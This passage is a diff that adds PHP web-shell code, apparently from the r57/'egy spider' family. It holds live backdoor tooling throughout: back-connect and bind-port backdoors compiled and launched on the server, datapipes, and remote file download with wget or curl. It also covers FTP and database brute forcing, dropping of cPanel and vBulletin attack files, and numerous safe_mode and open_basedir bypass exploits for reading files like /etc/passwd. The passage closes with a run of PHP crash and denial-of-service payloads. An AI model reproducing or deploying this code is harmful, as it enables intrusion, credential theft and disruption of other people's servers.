+ cf($tempdir.'back.c',$back_connect_c);
+ $blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c');
+ @unlink($tempdir.'back.c');
+ $blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &');
+ @unlink($tempdir.'back');
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
+{
+ cf($tempdir.'dp',$datapipe_pl);
+ $p2=which("perl");
+ $blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.$_POST['remote_host'].' '.$_POST['remote_port'].' &');
+ @unlink($tempdir.'dp');
+ $_POST['cmd']="ps -aux | grep dp";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
+{
+ cf($tempdir.'dpc.c',$datapipe_c);
+ $blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c');
+ @unlink($tempdir.'dpc.c');
+ $blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.$_POST['remote_host'].' &');
+ @unlink($tempdir.'dpc');
+ $_POST['cmd']="ps -aux | grep dpc";
+}
+
+
+if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
+
+
+for($upl=0;$upl<=16;$upl++)
+{
+ if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
+ if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
+ else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
+ @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
+ or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
+ }
+}
+if (!empty($_POST['port1']))
+{
+ cf("bds",$port_bind_bd_cs);
+ $blah = ex("chmod 777 bds");
+ $blah = ex("./bds ".$_POST['port1']." &");
+ $_POST['cmd']="echo \"Now script install backdoor connect to port ";
+ }else{
+cf("/tmp/bds",$port_bind_bd_cs);
+ $blah = ex("chmod 777 bds");
+ }
+if (!empty($_POST['php_ini1']))
+{
+ cf("php.ini",$egy_ini);
+ $_POST['cmd']=" now make incloude for file ini.php and add ss and your shell";
+ }
+
+
+ if (!empty($_POST['htacces']))
+{
+ cf(".htaccess",$htacces);
+ $_POST['cmd']="now .htaccess has been add";
+ }
+ if (!empty($_POST['egy_res']))
+{
+ cf(".ini.php",$egy_res);
+ $_POST['cmd']="now .htaccess has been add";
+ }
+ if (!empty($_POST['egy_ini']))
+{
+ cf("ini.php",$egy_ini);
+
+
+
+ $_POST['cmd']=" http://target.com/ini.php?egy=http://shell.txt? add ss ini.php now make incloude for file ini.php and add egy and your shell";
+ }
+
+
+ if (!empty($_POST['egy_cp']))
+{
+ cf("pass_cpanel.php",$egy_cp);
+ $_POST['cmd']="cpanel add";
+ }
+
+
+ if (!empty($_POST['egy_vb']))
+{
+ cf("vb_hacker.php",$egy_vb);
+ $_POST['cmd']="Added Following Files .htaccess & ini.php & vb_hacker.php & pass_cpanel.php ";
+ }
+
+if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
+
+
+for($upl=0;$upl<=16;$upl++)
+{
+
+
+}
+
+
+if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
+{
+ switch($_POST['with'])
+ {
+ case 'fopen':
+ $datafile = @implode("", @file($_POST['rem_file']));
+ if($datafile)
+ {
+ if(!morewrite($_POST['loc_file'],$datafile)){ err(0);};
+ }
+
+
+ $_POST['cmd'] = '';
+ break;
+ case 'wget':
+ $_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".$_POST['loc_file']."\"";
+ break;
+ case 'fetch':
+ $_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
+ break;
+ case 'lynx':
+ $_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
+ break;
+ case 'links':
+ $_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
+ break;
+ case 'GET':
+ $_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
+ break;
+ case 'curl':
+ $_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
+ break;
+ }
+}
+if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down")))
+ {
+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
+ if(empty($ftp_port)) { $ftp_port = 21; }
+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);
+ if(!$connection) { err(3); }
+ else
+ {
+ if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
+ else
+ {
+ if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
+ if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
+ }
+ }
+ @ftp_close($connection);
+ $_POST['cmd'] = "";
+ }
+
+
+if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute")))
+ {
+ if($_POST['cmd']=="ftp_brute"){
+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
+ if(empty($ftp_port)) { $ftp_port = 21; }
+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);
+ }else if($_POST['cmd']=="db_brute"){
+ $connection = 1;
+ }
+ if(!$connection) { err(3); $_POST['cmd'] = ""; }
+ else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
+ else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
+ if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
+ }
+
+
+echo $table_up3;
+if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
+else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; }
+echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
+{
+ switch($_POST['cmd'])
+ {
+ case 'safe_dir':
+
+ if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
+ {
+ foreach ($d as $file)
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if(!$unix){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
+ }
+ else{
+ if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ }else{$owner['name']=$grgid['name']='';}
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo @date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ }
+
+
+ elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
+ {
+ while (false!==($file=$d->read()))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if(!$unix){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
+ }
+ else{
+ if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ }else{$owner['name']=$grgid['name']='';}
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo @date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ $d->close();
+ }
+
+ elseif (@function_exists('opendir') && @function_exists('readdir') && ($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
+ {
+ while (false!==($file=@readdir($d)))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if(!$unix){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
+ }
+ else{
+ if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ }else{$owner['name']=$grgid['name']='';}
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo @date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ @closedir($d);
+ }
+
+
+ elseif(@function_exists('glob') && (isset($_POST['glob']) || !isset($_POST['realpath'])))
+ {
+ echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n";
+ function eh($errno, $errstr, $errfile, $errline)
+ {
+ global $D, $c, $i;
+ preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
+ if($o){ $D[$c] = $o[2]; $c++;}
+ }
+ $error_reporting = @ini_get('error_reporting');
+ error_reporting(E_WARNING);
+ @ini_set("display_errors", 1);
+ @ini_alter("display_errors", 1);
+ $root = "/";
+ if($dir) $root = $dir;
+ $c = 0; $D = array();
+ @set_error_handler("eh");
+ $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ for($i=0; $i < strlen($chars); $i++)
+ {
+ $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
+ $prevD = $D[count($D)-1];
+ @glob($path."*");
+ if($D[count($D)-1] != $prevD)
+ {
+ for($j=0; $j < strlen($chars); $j++)
+ {
+ $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
+ $prevD2 = $D[count($D)-1];
+ @glob($path."*");
+ if($D[count($D)-1] != $prevD2)
+ {
+ for($p=0; $p < strlen($chars); $p++)
+ {
+ $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
+ $prevD3 = $D[count($D)-1];
+ @glob($path."*");
+ if($D[count($D)-1] != $prevD3)
+ {
+ for($r=0; $r < strlen($chars); $r++)
+ {
+ $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
+ @glob($path."*");
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ $D = array_unique($D);
+ foreach($D as $item) echo "{$item}\r\n";
+ echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
+ error_reporting($error_reporting);
+ }
+ elseif(@function_exists('realpath') && (!isset($_POST['glob']) || isset($_POST['realpath'])))
+ {
+ echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n";
+ if(!$dir){$dir='/etc/';};
+ if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';}
+ if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';}
+
+
+ if($realpath=realpath($dir.'/')){echo $realpath."\r\n";}
+ if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";}
+ foreach($presets_rlph as $preset_rlph){
+ if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";}
+ }
+ for($i=0; $i < strlen($chars_rlph); $i++){
+ if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";}
+ if($n_rlph<=1){continue;};
+ for($j=0; $j < strlen($chars_rlph); $j++){
+ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";}
+ if($n_rlph<=2){continue;};
+ for($x=0; $x < strlen($chars_rlph); $x++){
+ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";}
+ if($n_rlph<=3){continue;};
+ for($y=0; $y < strlen($chars_rlph); $y++){
+ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";}
+ if($n_rlph<=4){continue;};
+ for($z=0; $z < strlen($chars_rlph); $z++){
+ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";}
+ if($n_rlph<=5){continue;};
+ for($w=0; $w < strlen($chars_rlph); $w++){
+ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";}
+ }
+ }
+ }
+ }
+ }
+ }
+ echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
+ }
+ else echo $lang[$language.'_text29'];
+ break;
+
+ case 'test1':
+ $ci = @curl_init("file://".$_POST['test1_file']);
+ $cf = @curl_exec($ci);
+ echo htmlspecialchars($cf);
+ break;
+ case 'test2':
+ @include($_POST['test2_file']);
+ break;
+ case 'test3':
+ if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
+ $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['test3_md'],$db))
+ {
+ @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
+ @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
+/* @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");*/
+ @mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
+ $r = @mysql_query("SELECT * FROM temp_r57_table");
+ while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
+ @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to mysql server";
+ break;
+ case 'test4':
+ if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
+ $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['test4_md'],$db))
+ {
+ @mssql_query("drop table r57_temp_table",$db);
+ @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
+ @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
+ $res = mssql_query("select * from r57_temp_table",$db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo htmlspecialchars($row[0])."\r\n";
+ }
+ @mssql_query("drop table r57_temp_table",$db);
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ case 'test5':
+ $temp=tempnam($dir, "fname");
+ if (@file_exists($temp)) @unlink($temp);
+ $extra = "-C ".$_POST['test5_file']." -X $temp";
+ @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
+ $str = moreread($temp);
+ echo htmlspecialchars($str);
+ @unlink($temp);
+ break;
+ case 'test6':
+ $stream = @imap_open('/etc/passwd', "", "");
+ $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
+ for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n";
+ @imap_close($stream);
+ break;
+ case 'test7':
+ $stream = @imap_open($_POST['test7_file'], "", "");
+ $str = @imap_body($stream, 1);
+ echo htmlspecialchars($str);
+ @imap_close($stream);
+ break;
+ case 'test8':
+ $temp=@tempnam($_POST['test8_file2'], "copytemp");
+ $str = readzlib($_POST['test8_file1'],$temp);
+ echo htmlspecialchars($str);
+ @unlink($temp);
+ break;
+
+ case 'test9':
+ @ini_restore("safe_mode");
+ @ini_restore("open_basedir");
+ $str = moreread($_POST['test9_file']);
+ echo htmlspecialchars($str);
+ break;
+ case 'test10':
+ @ob_clean();
+ $error_reporting = @ini_get('error_reporting');
+ error_reporting(E_ALL ^ E_NOTICE);
+ @ini_set("display_errors", 1);
+ @ini_alter("display_errors", 1);
+ $str=@fopen($_POST['test10_file'],"r");
+ while(!feof($str)){print htmlspecialchars(fgets($str));}
+ fclose($str);
+ error_reporting($error_reporting);
+ break;
+ case 'test11':
+ @ob_clean();
+ $temp = 'zip://'.$_POST['test11_file'];
+ $str = moreread($temp);
+ echo htmlspecialchars($str);
+ break;
+ case 'test12':
+ @ob_clean();
+ $temp = 'compress.bzip2://'.$_POST['test12_file'];
+ $str = moreread($temp);
+ echo htmlspecialchars($str);
+ break;
+ case 'test13':
+ @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']);
+ echo $lang[$language.'_text61'];
+ break;
+ case 'test14':
+ @session_save_path($_POST['test14_file2']."\0;$tempdir");
+ @session_start();
+ @$_SESSION[php]=$_POST['test14_file1'];
+ echo $lang[$language.'_text61'];
+ break;
+ case 'test15':
+ @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']);
+ echo $lang[$language.'_text61'];
+
+ break;
+ case 'test_5_2_6':
+echo getcwd()."\n";
+chdir($_POST['test_5_2_6']);
+echo getcwd()."\n";
+ break;
+
+
+ case 'test2_5_2_6':
+var_dump(posix_access($_POST['test15_file1']));
+
+
+ break;
+
+ case 'test_5_2_4':
+//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
+
+
+//author: shinnai
+//mail: shinnai[at]autistici[dot]org
+//site: http://shinnai.altervista.org
+
+
+//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
+
+
+//Technical details:
+//ionCube version: 6.5
+//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
+//url: www.egyspider.eu
+
+
+//php.ini settings:
+//safe_mode = On
+//disable_functions = ioncube_read_file, readfile
+
+
+//Description:
+//This is useful to obtain juicy informations but also to retrieve source
+//code of php pages, password files, etc... you just need to change file path.
+//Anyway, don't worry, nobody will read your obfuscated code :)
+
+
+//greetz to: BlackLight for help me to understand better PHP
+
+
+//P.S.
+//This extension contains even an interesting ioncube_write_file function...
+
+
+if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required! You are now can establish any order");
+
+
+$path = str_repeat("..\\", 20);
+
+
+$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)
+
+
+$MyBoot_ioncube = ioncube_read_file($path."boot.ini");
+
+
+echo $MyBoot_readfile;
+
+
+echo "<br><br>ionCube output:<br><br>";
+
+
+echo $MyBoot_ioncube;
+ break;
+
+
+
+ case 'egy_perl':
+if(!extension_loaded('perl'))die('perl extension is not loaded');
+if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
+if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
+$perl=new perl();
+echo "<textarea rows='25' cols='75'>";
+$perl->eval("system('".$_GET['cmd']."')");
+echo "</textarea>";
+$_GET['cmd']=htmlspecialchars($_GET['cmd']);
+ break;
+
+ break;
+ case 'egy_4_2_0':
+ for ($i = 0; $i < 60000; $i++)
+ {
+ if (($tab = @posix_getpwuid($i)) != NULL)
+ {
+ echo $tab['name'].":";
+ echo $tab['passwd'].":";
+ echo $tab['uid'].":";
+ echo $tab['gid'].":";
+ echo $tab['gecos'].":";
+ echo $tab['dir'].":";
+ echo $tab['shell']."<br>";
+ }
+ }
+ break;
+
+
+
+
+ case 'egy_5_2_3':
+//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
+
+
+//author: egy spider
+//mail: egy_spider@hotmail.com
+//site: http://egyspider.eu
+
+
+//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
+
+
+//Thanks to rgod for all his precious advises :)
+
+
+//I set php.ini in this way:
+//safe_mode = On
+//disable_functions = system
+//if you launch the exploit from the cli, cmd.exe will be wxecuted
+//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager
+
+
+if (!extension_loaded("win32std")) die("win32std extension required!");
+system("cmd.exe"); //just to be sure that protections work well
+win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
+ break;
+
+
+ break;
+
+
+ case 'test16':
+ if (@fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
+ break;
+ case 'test17_1':
+ @unlink('symlinkread');
+ @symlink('a/a/a/a/a/a/', 'dummy');
+ @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread');
+ @unlink('dummy');
+ while (1)
+ {
+ @symlink('.', 'dummy');
+ @unlink('dummy');
+ }
+ break;
+ case 'test17_2':
+ $str='';
+ while (strlen($str) < 3) {
+/* $str = moreread('symlinkread');*/
+ $str = @file_get_contents('symlinkread');
+ if($str){ @ob_clean(); echo htmlspecialchars($str);}
+ }
+ break;
+ case 'test17_3':
+ $dir = $files = array();
+ if(@version_compare(@phpversion(),"5.0.0")>=0){
+ while (@count($dir) < 3) {
+ $dir=@scandir('symlinkread');
+ if (@count($dir) > 2) {@ob_clean(); @print_r($dir); }
+ }
+ }
+ else {
+ while (@count($files) < 3) {
+ $dh = @opendir('symlinkread');
+ while (false !== ($filename = @readdir($dh))) {
+ $files[] = $filename;
+ }
+ if(@count($files) > 2){@ob_clean(); @print_r($files); }
+ }
+ }
+ break;
+ case 'test18':
+ @putenv("TMPDIR=".$_POST['test18_file2']);
+ @ini_set("session.save_path", "");
+ @ini_alter("session.save_path", "");
+ @session_start();
+ @$_SESSION[php]=$_POST['test18_file1'];
+ echo $lang[$language.'_text61'];
+ break;
+ case 'test19':
+ if(empty($_POST['test19_port'])) { $_POST['test19_port'] = "3306"; }
+ $m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],$_POST['test19_md'],$_POST['test19_port']);
+ if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server: ".mysqli_connect_error() ;};
+ $m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
+ $m->set_local_infile_handler("r");
+ $m->query("DROP TABLE IF EXISTS temp_r57_table");
+ $m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )");
+ $m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE temp_r57_table");
+ $r = $m->query("SELECT * FROM temp_r57_table");
+ while(($r_sql = @mysqli_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
+ $m->query("DROP TABLE IF EXISTS temp_r57_table");
+ $m->close();
+ break;
+ }
+}
+
+
+if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){
+ $cmd_rep = ex($_POST['cmd']);
+ if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
+ else { echo @htmlspecialchars($cmd_rep)."\n"; }
+}/*elseif($safe_mode){
+ $cmd_rep = safe_ex($_POST['cmd']);
+ if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
+ else { echo @htmlspecialchars($cmd_rep)."\n"; }
+}
+*/
+
+
+switch($_POST['cmd'])
+{
+ case 'dos1':
+ function a() { a(); } a();
+ break;
+ case 'dos2':
+ @pack("d4294967297", 2);
+ break;
+ case 'dos3':
+ $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a)));
+ break;
+ case 'dos4':
+ $t = array(1);while (1) {$a[] = &$t;};
+ break;
+ case 'dos5':
+ @dl("sqlite.so");$db = new SqliteDatabase("foo");
+ break;
+ case 'dos6':
+ preg_match('/(.(?!b))*/', @str_repeat("a", 10000));
+ break;
+ case 'dos7':
+ @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
+ break;
+ case 'dos8':
+ @shell_exec("killall -11 httpd");
+ break;
+ case 'dos9':
+ function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx();
+ break;
+ case 'dos10':
+ $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
+ break;
+ case 'dos11':
+ @array_fill(1,123456789,"Infigo-IS");
+ break;
+ case 'dos12':
+ @substr_compare("A","A",12345678);
+ break;
+ case 'dos13':
+ @unserialize("a:2147483649:{");
+ break;
+ case 'dos14':
+ $Data = @str_ireplace("\n", "<br>", $Data);
+ break;
+ case 'dos15':
+ function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);}
+ $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);}
+ @htmlentities($str1, ENT_NOQUOTES, "UTF-8");
+ break;
+ case 'dos16':
+ $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e);
+ for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
+ unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]);
+ break;
+ case 'dos17':
+ $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
+ $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
+ $x = "AQ ";
+ unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
+ break;
+ case 'dos18':
+ $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600);
+ if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
+ echo "Msg not sent because $msg_err\n";
+ if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
+ echo "$msg\n";
+ } else { echo "Received $msg_error fetching message\n"; break; }
+ @msg_remove_queue ($msg_id);
+ break;
+ case 'dos19':
+ $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r");
+ break;
+ case 'dos20':
+ $hashtable = str_repeat("A", 39);
+ $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
+ $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
+ $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
+ for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; }
+ $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
+ @unserialize($str);
+ break;
+ case 'dos21':
+ imagecreatetruecolor(1234,1073741824);
+ break;
+ case 'dos22':
+ imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120);
+ break;
+ case 'dos23':
+ $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b);
+ break;
+ case 'dos24':
+ setlocale(LC_COLLATE, str_repeat("A", 34438013));
+ break;
+ case 'dos25':
+ glob(str_repeat("A", 9638013));
+ break;
+ case 'dos26':
+ glob("a",-1);
+ break;
+ case 'dos27':
+ fnmatch("*[1]e", str_repeat("A", 9638013));
